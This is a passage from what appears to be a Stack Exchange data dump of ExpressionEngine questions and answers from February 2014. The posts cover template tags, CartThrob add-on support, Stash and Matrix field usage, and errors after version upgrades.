&amp;lt;body&amp;gt;&#xA;      {embed=&quot;Pages/header&quot;}&#xA;      &amp;lt;main&amp;gt;&#xA;          &amp;lt;nav id=&quot;breadcrumbs&quot;&amp;gt;{exp:structure:breadcrumb inc_home=&quot;no&quot; here_as_title=&quot;yes&quot; separator=&quot;:&quot;}{/exp:structure:breadcrumb}&amp;lt;/nav&amp;gt;&#xA;          {exp:channel:entries channel=&quot;news&quot; category=&quot;{segment_2_category_id}&quot; dynamic=&quot;no&quot;}&#xA;              &amp;lt;article&amp;gt;&#xA;                  &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;                  &amp;lt;p&amp;gt;Author: {author} Posted: {entry_date format=&quot;%M %j, %Y&quot;} at {entry_date format='%h:%i %A'}&amp;lt;/p&amp;gt;&#xA;                  &amp;lt;p&amp;gt;{news-content}&amp;lt;/p&amp;gt;&#xA;              &amp;lt;/article&amp;gt;&#xA;          {/exp:channel:entries}&#xA;          &amp;lt;aside&amp;gt;&#xA;              &amp;lt;ul&amp;gt;&#xA;                  &amp;lt;li&amp;gt;Categories&amp;lt;/li&amp;gt;&#xA;                  {exp:channel:categories channel=&quot;news&quot; style=&quot;linear&quot;}&#xA;                  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='news/{category_url_title}'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                  {/exp:channel:categories}&#xA;              &amp;lt;/ul&amp;gt;&#xA;          &amp;lt;/aside&amp;gt;&#xA;      &amp;lt;/main&amp;gt;&#xA;      {embed=&quot;Pages/footer}&#xA;  &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2739" LastEditorUserId="2739" LastEditDate="2014-02-12T15:25:45.863" LastActivityDate="2014-02-12T15:25:45.863" Title="404 error when trying to list category entries" Tags="|entries|404|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19344" PostTypeId="2" ParentId="19078" CreationDate="2014-02-12T00:33:55.040" Score="1" Body="&lt;p&gt;One possible solution is to create 2 different products: One that has no start date (starts immediately) with a  trial price of $150 and a standard price of $300. The other product would have no trial price and would have a start_date set for the next calendar year. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possible solution could be to simply add a trial price to the subscription product as soon as you are &quot;into&quot; the year of $150, and keep the standard price at $300.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to schedule a Phone/Skype appointment with the CartThrob/Mightybigrobot support team at &lt;a href=&quot;http://support.mightybigrobot.com&quot; rel=&quot;nofollow&quot;&gt;http://support.mightybigrobot.com&lt;/a&gt;. A member of our support team can speak with your personally and will custom tailor a suitable solution to this issue if you think it needs further discussion. &lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2014-02-12T00:33:55.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19345" PostTypeId="2" ParentId="19180" CreationDate="2014-02-12T00:43:37.703" Score="0" Body="&lt;p&gt;Once the order is authorized (once you've gotten to the on_authorize hook), custom data isn't going into the order… because the order's basically &quot;done&quot; and not still compiling the data in the order. That said though, you can update the order fairly easily: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have an order channel field with the name of &lt;code&gt;order_pickup_date&lt;/code&gt; do something like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;model(&quot;order_model&quot;);&#xA;$order_data = array(&#xA;    'order_pickup_date' =&amp;gt; $pickup_date,&#xA;);&#xA;ee()-&amp;gt;order_model-&amp;gt;update_order(ee()-&amp;gt;cartthrob-&amp;gt;cart-&amp;gt;order('entry_id'), $order_data); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also add custom_data using the pre_process hook (the order is still being set at that point), which wouldn't require the work above. Either way it's pretty simple once you see it done one time. &lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2014-02-12T00:43:37.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19347" PostTypeId="2" ParentId="11871" CreationDate="2014-02-12T00:44:53.510" Score="1" Body="&lt;p&gt;I was having the same issue with the following versions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.2&#xA;Matrix 2.5.9&#xA;PHP 5.4.17&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upgrading to Matrix 2.5.10 fixed my issue.&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-02-12T00:44:53.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19348" PostTypeId="2" ParentId="19341" CreationDate="2014-02-12T01:47:45.417" Score="1" Body="&lt;p&gt;I believe what might be happening is that the JavaScript for the datepicker is being added to the page multiple times, by each loop through the channel entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a parameter for the channel form tag &lt;code&gt;include_assets=&quot;no&quot;&lt;/code&gt; which will prevent it from adding the Javascript, so perhaps you could use that with a conditional to only output the assets on the first entry. Adjust your code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;projects&quot; disable=&quot;pagination|categories|member_data&quot; status=&quot;Open&quot;}&#xA;    {exp:channel:form channel=&quot;projects&quot; return=&quot;graphics/manager&quot; entry_id=&quot;{entry_id}&quot; json=&quot;yes&quot; id=&quot;publishForm{entry_id}&quot; include_jquery=&quot;no&quot; preserve_checkboxes=&quot;yes&quot; disable=&quot;categories|member_data&quot; {if count &amp;gt; 1}include_assets=&quot;no&quot;{/if} }&#xA;        {cf-form-proj-due format='%M. %d'} &amp;lt;!-- This works --&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;cf-form-proj-due&quot; id=&quot;cf-form-proj-due&quot; value=&quot;{cf-form-proj-due}&quot;&amp;gt; &amp;lt;!-- This does not work --&amp;gt;&#xA;    {/exp:channel:form}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-02-12T01:47:45.417" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19350" PostTypeId="1" AcceptedAnswerId="19374" CreationDate="2014-02-12T03:52:15.867" Score="2" ViewCount="198" Body="&lt;p&gt;I'm new to Stash and I'm trying to get the data from a Matrix field. The field has two columns, image and video, and there can be more than one matrix row. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used the example from the Stash documentation but it's still not working for me. I am getting the non-matrix data fine but not the Matrix items. Can anyone spot what I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2_category_id}&#xA;            {exp:stash:set_list name=&quot;news_list&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;                {exp:channel:entries channel=&quot;news&quot; status=&quot;open|featured&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;10&quot; category=&quot;{segment_2_category_id}&quot;}&#xA;                    {stash:item_title}{title}{/stash:item_title}&#xA;                    {stash:item_url}{url_title}{/stash:item_url}&#xA;                    {stash:item_date}{entry_date format=&quot;%F %d, %Y &quot;}{/stash:item_date}&#xA;                    {stash:item_copy}{news_content}{/stash:item_copy}&#xA;&#xA;                    {exp:stash:set_list:nested name=&quot;item_media&quot; context=&quot;{entry_id}&quot; parse_tags=&quot;yes&quot;}&#xA;                        {news_videos_images}&#xA;                            {stash:item_image}{image}{/stash:item_image}&#xA;                            {stash:item_video}{video}{/stash:item_video}&#xA;                        {/news_videos_images}&#xA;                    {/exp:stash:set_list:nested} &#xA;&#xA;                {/exp:channel:entries}&#xA;            {/exp:stash:set_list}&#xA;        {if:else}&#xA;        {exp:channel:entries channel=&quot;news&quot; status=&quot;open|featured&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;10&quot;}&#xA;            {title}&#xA;        {/exp:channel:entries}&#xA;        {/if}&#xA;&#xA;&#xA;    {exp:stash:get_list name=&quot;news_list&quot;}&#xA;        &amp;lt;div class=&quot;row blog-post-item&quot;&amp;gt;&#xA;&#xA;        {exp:stash:get_list:nested name=&quot;item_media&quot; context=&quot;{item_entry_id}&quot; prefix=&quot;nested&quot;}&#xA;            &amp;lt;div class=&quot;{nested:switch='row|rowAlt'}&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;{item_video}&amp;lt;/p&amp;gt;&#xA;                &amp;lt;p&amp;gt;{item_image}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        {/exp:stash:get_list:nested}&#xA;&#xA;            &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;description col-xs-12&quot;&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;&#xA;                        &amp;lt;span class=&quot;date&quot;&amp;gt;{item_date}&amp;lt;/span&amp;gt;&#xA;                        {item_title}&#xA;                    &amp;lt;/h2&amp;gt;&#xA;                    {item_copy}&#xA;                    &amp;lt;a class=&quot;blue&quot; href=&quot;{item_url}&quot; title=&quot;{item_title}&quot;&amp;gt;Read more&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- /description--&amp;gt;  &#xA;            &amp;lt;/div&amp;gt;&amp;lt;!--  /row--&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- /row blog-post-item--&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-02-12T16:23:01.730" Title="Stash - retrieving Matrix field data" Tags="|matrix|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19351" PostTypeId="2" ParentId="19223" CreationDate="2014-02-12T04:01:41.623" Score="0" Body="&lt;p&gt;Sending an email to Person A from Person B is a completed feature that will be available in the next release of this add-on (along with a few bug fixes and template updates)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are currently no other notification events though. If you think of any, feel free to post em, we'll add them to the feature request pile. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your next question: The next release is complete. It'll be uploaded sometime in the next several days. Probably on Monday of this coming week. &lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2014-02-12T04:01:41.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19352" PostTypeId="2" ParentId="19275" CreationDate="2014-02-12T04:16:42.807" Score="1" Body="&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$helpful.find(&quot;.ajax-response&quot;).load(link, function(response, status, xhr) {&#xA;    $helpful.find(&quot;.voters&quot;).hide();&#xA;    $helpful.find(&quot;.ajax-response&quot;).html(response.message);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ajax submissions return a JSON array as a response. You need the correct key (in this case .message) in this array to display only text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another method for general-purpose ajax submissions can be found here: &lt;a href=&quot;http://support.solspace.com/solution/categories/115922/folders/190597/articles/119581-simple-jquery-ajax-script&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/solution/categories/115922/folders/190597/articles/119581-simple-jquery-ajax-script&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-02-12T04:16:42.807" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19353" PostTypeId="2" ParentId="19082" CreationDate="2014-02-12T04:18:11.877" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Since that entry already exists, I'm getting the &quot;duplicate entry for primary key&quot; error message from MySQL. What I need to have happen is an update to the particular order in the orders channel that also sends off the &quot;capture&quot; request to Authorize.net.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The form itself should be fine… you've run into a bug with that function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't yet had time to test the following, but after reviewing the code, I think the following may correct it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the cartthrob &gt; libraries &gt; Cartthrob_payments.php file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Around line 1806, you'll find something that looks like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                unset($order_entry);&#xA;        }&#xA;        else&#xA;        {&#xA;            $this-&amp;gt;add_error(lang('you_do_not_have_sufficient_permissions_to_update_this_order'));&#xA;            return FALSE;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change it to this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                unset($order_entry);&#xA;            $order_id = $update_order_id; // add this&#xA;        }&#xA;        else&#xA;        {&#xA;            $this-&amp;gt;add_error(lang('you_do_not_have_sufficient_permissions_to_update_this_order'));&#xA;            return FALSE;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think that order_id variable got wiped out last time we did some juggling to add updating for subscriptions, some of that area of code underwent some big changes. When I get some time I'll test this here… but I think that might do the trick.&lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2014-02-12T04:18:11.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19354" PostTypeId="2" ParentId="19087" CreationDate="2014-02-12T04:40:30.150" Score="1" Body="&lt;p&gt;I installed here locally and on one of our remote servers. I found a few small things I fixed, but nothing that I would expect to create the &quot;white screen of death&quot;. Barrett also installed in a few locations and didn't have issues, so it may be some specific conflict that's a bit hard to diagnose. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latest public release is 1.677 of the Multi Location Module, available for free download from cartthrob.com. You might want to make sure that's updated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because we can't reproduce this here I suggest you schedule a Phone/Skype appointment with the CartThrob/Mightybigrobot support team at &lt;a href=&quot;http://support.mightybigrobot.com&quot; rel=&quot;nofollow&quot;&gt;http://support.mightybigrobot.com&lt;/a&gt;. A member of our support team can speak with your personally and will custom tailor a suitable solution to this issue.  &lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2014-02-12T04:40:30.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19355" PostTypeId="2" ParentId="19098" CreationDate="2014-02-12T04:49:17.557" Score="0" Body="&lt;p&gt;You could modify the Cartthrob_discount_free_shipping_over_x. Open it up… find this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        if ($this-&amp;gt;core-&amp;gt;cart-&amp;gt;subtotal() &amp;gt;= $this-&amp;gt;core-&amp;gt;sanitize_number($this-&amp;gt;plugin_settings('order_over')))&#xA;    {&#xA;        $this-&amp;gt;core-&amp;gt;cart-&amp;gt;set_discounted_shipping(0);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;change it to this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        if ($this-&amp;gt;core-&amp;gt;cart-&amp;gt;subtotal() &amp;gt;= $this-&amp;gt;core-&amp;gt;sanitize_number($this-&amp;gt;plugin_settings('order_over')))&#xA;    {&#xA;        if ($this-&amp;gt;core-&amp;gt;cart-&amp;gt;shipping_option() == &quot;YOUR METHOD HERE&quot;)&#xA;        {&#xA;            $this-&amp;gt;core-&amp;gt;cart-&amp;gt;set_discounted_shipping(0);&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Review some of the other plugins if you feel like adding settings for the shipping option, or want to create a completely new plugin based on that existing one. I suggest putting it in the cartthrob &gt; third_party &gt; discount_plugins folder for ease of maintenance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some docs related to discount plugin creation: &#xA;&lt;a href=&quot;http://cartthrob.com/docs/developers/discount_plugins/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/developers/discount_plugins/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2014-02-12T04:49:17.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19356" PostTypeId="1" CreationDate="2014-02-12T04:49:52.200" Score="1" ViewCount="82" Body="&lt;p&gt;I upgraded the ExpressionEngine from v2.6.1 to 2.7.3. After upgrade, I am seeing error message for third party addons which couldn't include the file having like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once reduce_double_slashes(PATH_THIRD.'ep_better_workflow/config.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found that PATH_THIRD isn't correct and having the value as '/' due to which all the path included with PATH_THIRD are showing error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone please suggest me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="197" LastEditDate="2014-02-13T00:37:08.007" LastActivityDate="2014-02-13T00:37:08.007" Title="PATH_THIRD not working" Tags="|ee2-upgrades|path|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19357" PostTypeId="2" ParentId="19195" CreationDate="2014-02-12T05:07:38.457" Score="0" Body="&lt;p&gt;Because solving this may end up being fairly complex I suggest you schedule a Phone/Skype appointment with the CartThrob/Mightybigrobot support team at &lt;a href=&quot;http://support.mightybigrobot.com&quot; rel=&quot;nofollow&quot;&gt;http://support.mightybigrobot.com&lt;/a&gt;. A member of our support team can speak with your personally and will custom tailor a suitable solution to this issue.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grid server at Media Temple has some php configurations that may be part of the problem. It could have something to do with open_basedir (but I don't think so) or weird path resolution (which I've seen there too). We've run into some real doozies with MT Grid Server. And who knows, it could be something to do with EE / CT… Schedule a call (provide credentials if possible) and we can take it from there. &lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2014-02-12T05:07:38.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19358" PostTypeId="2" ParentId="19276" CreationDate="2014-02-12T05:10:23.530" Score="1" Body="&lt;p&gt;This won't impact CartThrob… either version 1x or 2x. &lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2014-02-12T05:10:23.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19359" PostTypeId="2" ParentId="19300" CreationDate="2014-02-12T05:14:12.543" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure you have EE's admin &gt; general settings &gt; URL to the root directory of your site is set correctly. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure the return parameter on the checkout_form is something like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;return=&quot;template_group/template&quot; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And doesn't include a hard coded URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some other things that could be wrong if this is an MSM site. But the two above are the most common problems. &lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2014-02-12T05:14:12.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19360" PostTypeId="2" ParentId="19303" CreationDate="2014-02-12T05:19:27.003" Score="1" Body="&lt;p&gt;At present there are no coupon/discounts that have been created that do either/or. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The built in settings govern whether or not discounts should be applied on subsequent payments (based on a discount set in the cart on purchase), but there's nothing created at this point that does specifically what you're asking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you schedule a Phone/Skype appointment with the CartThrob/Mightybigrobot support team at &lt;a href=&quot;http://support.mightybigrobot.com&quot; rel=&quot;nofollow&quot;&gt;http://support.mightybigrobot.com&lt;/a&gt;. A member of our support team can speak with your personally and discuss possible solution to this issue. &lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2014-02-12T05:19:27.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19362" PostTypeId="1" AcceptedAnswerId="19364" CreationDate="2014-02-12T05:57:12.923" Score="0" ViewCount="48" Body="&lt;p&gt;Is there a way to get the default language set in &lt;em&gt;Admin -&gt; General Configuration&lt;/em&gt; in an add-on(module, extension, plugin)?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-02-12T06:58:41.927" Title="How to get default language in an add-on?" Tags="|multi-language|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19363" PostTypeId="1" CreationDate="2014-02-12T06:28:09.510" Score="1" ViewCount="201" Body="&lt;p&gt;Is there a way to be able to translate data inside grid table in {exp:channel:form}?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to change the table headers to be translated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also want to change the button to add new rows to something like a translatable word(for example, &quot;add row&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible with Grid? Or are we stuck with what we input in the channels?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question only applies to the publish form inside a Channel Form tag. I am not looking for a solution that works on the EE Control Panel.&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2014-03-04T11:57:32.777" LastActivityDate="2016-05-18T05:15:17.567" Title="Is there a way to be able to translate grid table headers in {exp:channel:form}?" Tags="|grid|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19364" PostTypeId="2" ParentId="19362" CreationDate="2014-02-12T06:58:41.927" Score="2" Body="&lt;p&gt;It's a config item, so you can get it using the Config object, thus:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;config-&amp;gt;item('deft_lang');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-02-12T06:58:41.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19365" PostTypeId="2" ParentId="19343" CreationDate="2014-02-12T07:20:53.293" Score="1" Body="&lt;p&gt;The channel:entries tag doesn't have a &lt;code&gt;category_url_title&lt;/code&gt; parameter. If you want to use the URL structure you're after, you'll need to install &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Low Seg2Cat&lt;/a&gt;. Once installed, you can use &lt;code&gt;{segment_2_category_id}&lt;/code&gt; to get the right category ID associated with the second segment (which points to a category URL title). Add &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; to the tag as well, since you're telling EE what to display, instead of letting EE guess, based on the URI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you're missing a closing quote on your opening tag. And I think you need to add &lt;code&gt;style=&quot;linear&quot;&lt;/code&gt; to your channel:categories tag, in order to avoid nested &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, with Low Seg2Cat installed, this is how it should look:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; category=&quot;{segment_2_category_id}&quot; dynamic=&quot;no&quot;}&#xA;    &amp;lt;article&amp;gt;&#xA;        &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;p&amp;gt;Author: {author} Posted: {entry_date format=&quot;%M %j, %Y&quot;} at {entry_date format='%h:%i %A'}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;{news-content}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/article&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;aside&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;Categories&amp;lt;/li&amp;gt;&#xA;        {exp:channel:categories channel=&quot;news&quot; style=&quot;linear&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='news/{category_url_title}'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/exp:channel:categories}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/aside&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-02-12T07:20:53.293" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19367" PostTypeId="1" CreationDate="2014-02-12T09:08:53.617" Score="1" ViewCount="121" Body="&lt;p&gt;Assets doesn't seem to use the same settings for file uploads as what is set in the default file manager of Expression Engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made an upload location, only for images not larger than 4M and with a resolution lower than 2600x2600.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Images should only be gif, png and j(e)pg.&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/files/file_upload_preferences.html#allowed-file-types&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/content/files/file_upload_preferences.html#allowed-file-types&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in Assets I am able to upload images with a greater resolution.&#xA;I am also able to upload tif and bmp files. (But only those.)&#xA;Only the 4M max upload size setting is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this normal behavior, and if so, is it possible to change that?&#xA;Otherwise, what is going wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2014-02-12T09:08:53.617" Title="Does Assets inherit the EE file upload settings?" Tags="|assets|file-uploads|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19368" PostTypeId="1" AcceptedAnswerId="19415" CreationDate="2014-02-12T10:57:17.753" Score="2" ViewCount="739" Body="&lt;p&gt;I upgraded EE from v2.6.1 to v2.7.1. After upgrade, I am getting the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unable to load the following extension file:&#xA;  ext.ep_better_workflow.php&lt;img src=&quot;https://i.stack.imgur.com/DYh1p.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Could anyone please help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2014-02-13T15:35:50.180" Title="Unable to load the following extension file: Better Workflow" Tags="|better-workflow|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19369" PostTypeId="1" AcceptedAnswerId="19373" CreationDate="2014-02-12T12:10:51.130" Score="1" ViewCount="47" Body="&lt;p&gt;I hame some input fields on my comment form, that I show for non-registered members. They are: ‘name’, ‘email’ and ‘comment text’.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And my task was to add string “Guest” to text user typed in the field ‘name’. So I created extension where I use ‘insert_comment_insert_array’ hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function concat_username($data)&#xA;{&#xA;    if($data['author_id'] != 0)&#xA;        return $data;&#xA;&#xA;    $data['name'] = &quot;Guest &quot;.$data['name'];&#xA;&#xA;    return $data;&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it works. But new comment email notifications that I receive after new comment was posted contain user name without my string “Guest”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;May be anyone knows what’s wrong?&lt;/p&gt;&#xA;" OwnerUserId="2362" LastActivityDate="2014-02-12T16:17:52.460" Title="New comment email notification and ‘insert_comment_insert_array’ hook" Tags="|email|comments|hook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19370" PostTypeId="2" ParentId="19164" CreationDate="2014-02-12T12:39:36.987" Score="0" Body="&lt;p&gt;With the hint from Gfive I played around with {exp:zoo_visitor:sync}. After I recognized that this function uses the wrong site_id for me I wrote a small plugin which temporarily changes the site_id especially to my needs. Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;class Custom_Zoo_Sync&#xA;{&#xA;    public function sync()&#xA;    {&#xA;        $this-&gt;EE =&amp; get_instance();&#xA;&#xA;        $this-&gt;EE-&gt;load-&gt;add_package_path(PATH_THIRD . 'zoo_visitor/');&#xA;        $this-&gt;EE-&gt;load-&gt;library('zoo_visitor_lib');&#xA;        $this-&gt;EE-&gt;load-&gt;helper('zoo_visitor');&#xA;&#xA;        $real_site_id = $this-&gt;EE-&gt;config-&gt;item('site_id');&#xA;        $this-&gt;EE-&gt;config-&gt;set_item('site_id', 1);&#xA;        $this-&gt;EE-&gt;zoo_visitor_lib-&gt;sync_member_data();&#xA;        $this-&gt;EE-&gt;config-&gt;set_item('site_id', $real_site_id);&#xA;&#xA;    }&#xA;}&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Feel free to comment this solution. Perhaps it is a bad idea to do it this way?&lt;/p&gt;&#xA;" OwnerUserId="2261" LastActivityDate="2014-02-12T12:39:36.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
